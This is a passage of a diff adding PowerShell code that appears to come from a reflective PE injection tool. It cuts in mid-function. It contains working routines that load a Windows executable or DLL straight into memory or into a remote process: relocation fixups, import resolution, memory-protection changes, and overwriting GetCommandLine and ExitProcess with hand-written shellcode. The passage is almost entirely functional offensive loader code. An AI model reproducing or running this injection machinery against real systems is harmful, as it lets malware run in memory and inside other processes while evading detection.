$true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + #Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $ProcedureName = '' + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([Int64]$OriginalThunkRefVal -lt 0) + { + $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + #Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = 